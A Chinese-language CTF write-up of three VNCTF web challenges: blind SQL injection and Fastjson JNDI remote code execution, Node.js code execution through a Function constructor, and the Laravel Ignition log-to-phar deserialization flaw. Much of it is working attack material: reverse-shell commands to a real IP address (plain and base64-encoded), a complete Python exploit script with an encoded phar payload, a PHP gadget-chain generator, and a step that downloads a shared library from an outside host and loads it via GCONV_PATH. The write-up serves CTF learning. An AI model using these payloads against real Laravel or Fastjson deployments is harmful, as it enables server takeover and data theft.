VNCTF(web)小白详解

VNCTF(web)小白详解

看了下师傅们的wp,发现还挺难理解的。下面跟着大家做个简单的解答。

0x01 realezjvav

一上来就是常规的登录框,估摸着就是sql注入,paylod一拿到,一打,欸,不错,笛卡尔乘积盲注(原理:多个数据表链接的时候,数据大了,所以时间长)拿到密码no_0ne_kn0w_th1s

VNCTF(web)小白详解_第1张图片

然后是这个,看不出来,我们继续。

VNCTF(web)小白详解_第2张图片

发现这个就是我们fastjson,rce了。

https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/42.192.142.64/9009 0>&1
rmi://ip/cghvrc
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQyLjE5Mi4xNDIuNjQvOTAwOSAwPiYxCg==}|{base64,-d}|{bash,-i}

image-20210316090601419

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OySb0hgA-1616485623424)(https://i.loli.net/2021/03/16/3pFic1nZJeHQ7Lx.png)]

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQyLjE5Mi4xNDIuNjQvOTAwOSAwPiYxCg==}|{base64,-d}|{bash,-i}" -A " 42.192.142.64"

这样就能够打通了。这里注意多打几次还有就是命令的传输时,记得多骚一下。(这个payload命令记得骚一下)

0x02 naive

https://segmentfault.com/a/1190000016565228?utm_source=tag-newest

拿到keyyoshino-s_want_a_gf,qq1735439536

这样我们就能够代码执行了。

这里就是一个nodejs题目中代码执行常用小点。

拿到Function构造匿名函数代码执行

(1).constructor.constructor测试之后这个可以完美找到这个匿名函数,然后我们开始找想要执行的代码

VNCTF(web)小白详解_第3张图片

注意看到type的那一行,我们可以知道这是一个EC6模块

VNCTF(web)小白详解_第4张图片

不支持什么require()等方式的代码引入,不能达到目标,要用动态的执行了。https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules

就只能使用import来构造了代码执行了。

import('/modules/myModule.mjs')
  .then((module) => {
    // Do something with the module.
  });
(1).constructor.constructor("import('child_process').then((module) =>{module.execSync(\"whoami").toString();});")

VNCTF(web)小白详解_第5张图片

代码执行成功。

读flag把flag写道tmp目录下,然后用任意文件读取即可。

global.process.binding导出任意模块

https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html

0x03 Easy_laravel

记录一下环境复现有多坑爹(大家好,我是安装环境时长两天半的ctfer,最擅长删除,重装)

git clone 克隆下来
git check 选择你要哪个版本
然后 重点来了。

VNCTF(web)小白详解_第6张图片

然后,重点2,这里使用composer install,不要用update,辣鸡会忽略版本。这是已经配置好的json配置,替换掉composer.json即可

{
    "name": "laravel/laravel",
    "type": "project",
    "description": "The Laravel Framework.",
    "keywords": [
        "framework",
        "laravel"
    ],
    "license": "MIT",
    "require": {
        "php": "^7.3|^8.0",
        "fideloper/proxy": "^4.4",
        "fruitcake/laravel-cors": "^2.0",
        "guzzlehttp/guzzle": "^7.0.1",
        "laravel/framework": "v8.22.1",
        "laravel/tinker": "^2.5"
    },
    "require-dev": {
        "facade/ignition": "2.5.1",
        "fakerphp/faker": "^1.9.1",
        "mockery/mockery": "^1.4.2",
        "nunomaduro/collision": "^5.0",
        "phpunit/phpunit": "^9.3.3"
    },
    "config": {
        "optimize-autoloader": true,
        "preferred-install": "dist",
        "sort-packages": true
    },
    "extra": {
        "laravel": {
            "dont-discover": []
        }
    },
    "autoload": {
        "psr-4": {
            "App\\": "app/",
            "Database\\Factories\\": "database/factories/",
            "Database\\Seeders\\": "database/seeders/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\": "tests/"
        }
    },
    "minimum-stability": "dev",
    "prefer-stable": true,
    "scripts": {
        "post-autoload-dump": [
            "Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
            "@php artisan package:discover --ansi"
        ],
        "post-root-package-install": [
            "@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
        ],
        "post-create-project-cmd": [
            "@php artisan key:generate --ansi"
        ]
    }
}

然后坐下来,更新一下源,然后喝口水,成功。

现在其实配置 php artisan serve,这样就可以完成操作了。

php artisan key:generate然后php artisan key:generate生成key

但是,现在只是完成了第一层,也就是我们常说的,你根本只能看到我,却不能够运行我。呜呜呜

下面,我们来继续进行操作,配置apache环境,来进行debug,各种复制,粘贴换成之后,大概是这个样子的.

VNCTF(web)小白详解_第7张图片

VNCTF(web)小白详解_第8张图片

然后,就可以访问了。

然后开始漏洞的分析之路。

VNCTF(web)小白详解_第9张图片

这几个solution就是ignition提供给我们可以通过按钮来实现解决报错的按钮。下面我们来看一下控制器对他们的执行。

VNCTF(web)小白详解_第10张图片

调用run方法,并且传入parameters参数。

在这里插入图片描述

这里面的run方法实现的内容大概是

读取viewfile参数的内容,然后进行替换。然后再写会文件中。

这里的file_get_contents参数可控,所以可以利用phar://协议来实现反序列化利用。如果现在有一个文件上传接口,那么这道题到这里就结束。

这里可以去phpggc中那一条已经存在的链子开始打了。(可惜这个题目已经把这条链子给封杀了哈哈)

php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o phar.log

下面开始分析这个新的CVE到底新在哪里?

log转phar:

首先我们来看看正常的log文件:

VNCTF(web)小白详解_第11张图片

Log文件

这里说一下: 因为我们会用到utf-16le->utf-8,所以我们必须保证我们前面payload的位置必须是偶数这样才能完美的转换,具体的原因就是utf-16le对于utf-8的配置,这也是在前面写payload的时候需要在前后加头来调节偏移的原因。

我们来分析一下这两种的编码方式
VNCTF(web)小白详解_第12张图片

先来看 我们知道1的ascii编码是"31"所以utf-8就是0x31,但是utf-16是16位的所以,他就变成了0x0031,前面的feff,是加在前面的头部。

所以注意: 这里我们在最后的拼接的时候也才能够很顺利地变成想要的样子。奇数和偶数之间的转换问题罢了。

清空log文件

文章中作者使用了php://filter的`convert.base64-decode的特性,它在进行base64解密的时候,会先将不是base64字符的部分去除,然后再进行解码.

在这里插入图片描述

这样,我们就可以多次调用这个小玩意,将这个万一去除

在这里插入图片描述

但是这样做会出现非预期

当base64的“==”后面有字母的时候,那么php会报出warning,但是且由于laravel开启了debug模式,所以会触发Ignition生成错误页面,导致decode后的字符没有成功写入。这样,清空日志应该分成两部分

1. 将log全部转换为非base64
2. 通过convert.base64-decode将日志文件清空

进而转换为

1.convert.iconv.utf-8.utf-16
2.convert.quoted-printable-encode 打印不可见字符,并且不会使他们报一些奇怪的错误
3.convert.iconv.utf-16be.utf-8 再转换回来就全不可见了
4.convert.base64-decode
php://filter/read=convert.base64-encode/resource=/flag
php://filter/write=convert.iconv.utf-8.utf-16|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

VNCTF(web)小白详解_第13张图片

这样我们就成功清楚了这里设置,下面我们继续一步的操作.我们已经达到了清空log的操作要求.

现在就该去写入符合我们规范的log文件,让他变成我们的小乖乖.

VNCTF(web)小白详解_第14张图片

这让我们怎么写.

log格式
[时间] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]

也就是说我们还得利用上面的方法来来清洗log,但是这里我们会出现两个payload,

在这里插入图片描述

这是我们不希望看到的,所以,我们来重新进行操作.在后面加上字符,让其中总有一个能解析出来就行了.\0a``\00

在这里插入图片描述
但是file_get_contents()在传入这些字符的时候会报错,但好在我们还有过滤器可以使用.convert.quoted-printable-encode原来是先转为ascii字符,然后在后面加上等号。

在这里插入图片描述

现在读入的指令为

php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.txt

还有注意 这个最后的过滤器会匹配等号,如果没有匹配到就报错,所以我们要转换等号为=3d可以看到这里,在最后面的=号后的ascii字符被省略了,导致convert.quoted-printable-decode过滤器再次报错,所以我们可以把第一个字符P转成对应的=50,从而让这里的=号都能匹配上

干脆我们将payload先进行过滤器处理。

写入

php://filter/write=convert.iconv.utf-8.utf-16|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

写入前缀

AA

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-U5MdcSqi-1616486074130)(https://i.loli.net/2021/03/23/7xPuSQpgvi1c4JR.png#pic_center)]

#! -*- coding:utf-8 -*-
import sys
import requests
import re
class Poc:
    def clear_log(self,schema, host, port):
        base_url = "{}://{}:{}".format(schema, host, port)
        path="/_ignition/execute-solution"
        req_url="{}{}".format(base_url,path)
        payload='''
{
  "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
        '''
        _headers ={
            "Content-Type":"application/json"
        }
        resp = requests.post(req_url,data=payload, headers=_headers, allow_redirects=False)
        return resp.status_code
    def add_prefix(self,schema, host, port):
        base_url = "{}://{}:{}".format(schema, host, port)
        path = "/_ignition/execute-solution"
        req_url = "{}{}".format(base_url, path)
        payload = '''
        {
          "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
          "parameters": {
            "variableName": "username",
            "viewFile": "AA"
          }
        }
                '''
        _headers ={
            "Content-Type": "application/json"
        }
        resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
        return resp.text
    def send_payload(self,schema, host, port):
        base_url = "{}://{}:{}".format(schema, host, port)
        path = "/_ignition/execute-solution"
        req_url = "{}{}".format(base_url, path)
        payload = '''
{
  "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=79=00=4F=00=69=00=4A=00=70=00=5A=00=43=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=49=00=36=00=49=00=6D=00=6C=00=6B=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=47=00=63=00=49=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=47=00=63=00=49=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=46=00=75=00=79=00=53=00=68=00=78=00=45=00=4F=00=52=00=4C=00=32=00=32=00=52=00=68=00=4D=00=5A=00=47=00=4A=00=66=00=69=00=32=00=6F=00=6A=00=4F=00=4E=00=33=00=33=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a"
  }
}
        '''
        _headers = {
            "Content-Type": "application/json"
        }
        resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
        return resp.text
    def restore_payload(self,schema, host, port):
        base_url = "{}://{}:{}".format(schema, host, port)
        path = "/_ignition/execute-solution"
        req_url = "{}{}".format(base_url, path)
        payload ='''
{
  "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
'''
        _headers = {
            "Content-Type": "application/json"
        }
        resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
        return resp.status_code
    def phar_unserialize(self,schema, host, port):
        base_url = "{}://{}:{}".format(schema, host, port)
        path = "/_ignition/execute-solution"
        req_url = "{}{}".format(base_url, path)
        payload = '''
{
  "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}
        '''
        _headers = {
            "Content-Type": "application/json"
        }
        resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
        return resp.text
    def crack(self, schema, host, port):
        for i in range(3):
            if self.clear_log(schema, host, port)==200:
                print("laravel log cleard")
                self.add_prefix(schema, host, port)
                self.send_payload(schema, host, port)
                if self.restore_payload(schema, host, port)==200:
                    print("successfully converted to phar")
                    resp_text=self.phar_unserialize(schema, host, port)
                    if "uid=" in resp_text and "gid=" in resp_text:
                        print("phar unserialize")
                        print(resp_text.split("\n")[-2])
                        break
                else:
                    print("converted to phar fails")
            else:
                print("laravel log clear fails")

if __name__ == "__main__":
    poc = Poc()
    poc.crack(sys.argv[1], sys.argv[2], sys.argv[3])

附上利用脚本。

题目开始

生成phar链条

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile":"payload自己生成去"
  }
}
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/html/storage/logs/laravel.log/test.txt"
  }
}
将phar文件编码
function TransferEncodePhar($file){
    $raw = base64_encode(file_get_contents($file));
    $result = array();
    for($i = 0; $i < strlen($raw); $i++){
        $result[$i] = "=" . strtoupper(dechex(ord($raw[$i]))) . "=00";
    }
    return implode($result);
}
$it = new DirectoryIterator("glob:///*");foreach($it as $f) {echo($f->__toString().' ');}
下载so文件
h3x=file_put_contents("/tmp/payload.so",file_get_contents("http://42.192.142.64:9563/payload.so"));
查看tmp目录下的文件
var_dump(scandir("/tmp"));
触发so文件
h3x=putenv('GCONV_PATH=/tmp/');file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/122','Hello!Dem0');
file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/demo',123);

下面是生成phar的脚本,里面的aba.phar就是你想生成的单独的全新的phar文件,就可以。然后运行下面的脚本,再运行上面的编码函数,写入log即可。

parent = $parent;
            $this->route = "test";
        }

    }
}
namespace Mockery {

    class HigherOrderMessage
    {
        private $mock;
        private $method;

        public function __construct($mock)
        {
            $this->mock = $mock;
            $this->method = "generate";
        }
    }
}

namespace PHPUnit\Framework\MockObject {

    final class MockTrait
    {
        private $classCode;
        private $mockName;

        public function __construct()
        {
            $phar = base64_encode(file_get_contents("aba.phar"));
            $this->classCode = "echo 'Unserialize!'; file_put_contents('/var/www/html/storage/logs/demo.log',base64_decode('{$phar}'));";
            $this->mockName = "undefinedMock";
        }
    }
}

namespace {
    use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
    use \Mockery\HigherOrderMessage;
    use \PHPUnit\Framework\MockObject\MockTrait;
    $c=new MockTrait();
    $b = new HigherOrderMessage($c);
    $a= new ImportConfigurator($b);
    $phar = new Phar('vul.phar');
    $phar->startBuffering();
    $phar->addFromString("test.txt","test");
    $phar->setStub("GIF89a"."");
    $phar->setMetadata($a);
    $phar->stopBuffering();
}
import requests
#触发so的
payload = '''
{
  "solution": "Facade\\\Ignition\\\Solutions\\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/html/storage/logs/Dem0.log/test.txt"
  }
}
'''

headers = {
    "Content-Type": "application/json"
}

url = "http://41ca7168-3009-49f5-8c1e-3e16d291c5e3.node3.buuoj.cn/index.php/_ignition/execute-solution"
while 1:
    text = requests.post(url + "?demo=putenv('GCONV_PATH=/tmp/');file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/122','Hello!Dem0');",data=payload, headers=headers)
    txt = requests.post(url + "?demo=readfile('/tmp/flag');", data = payload, headers = headers).text
    if "flag" in txt:
        print(txt)
    print(requests.post(url + "?demo=var_dump(scandir('/tmp'));", data = payload, headers = headers).text[-200:])


你可能感兴趣的:(CTF复现,web,安全)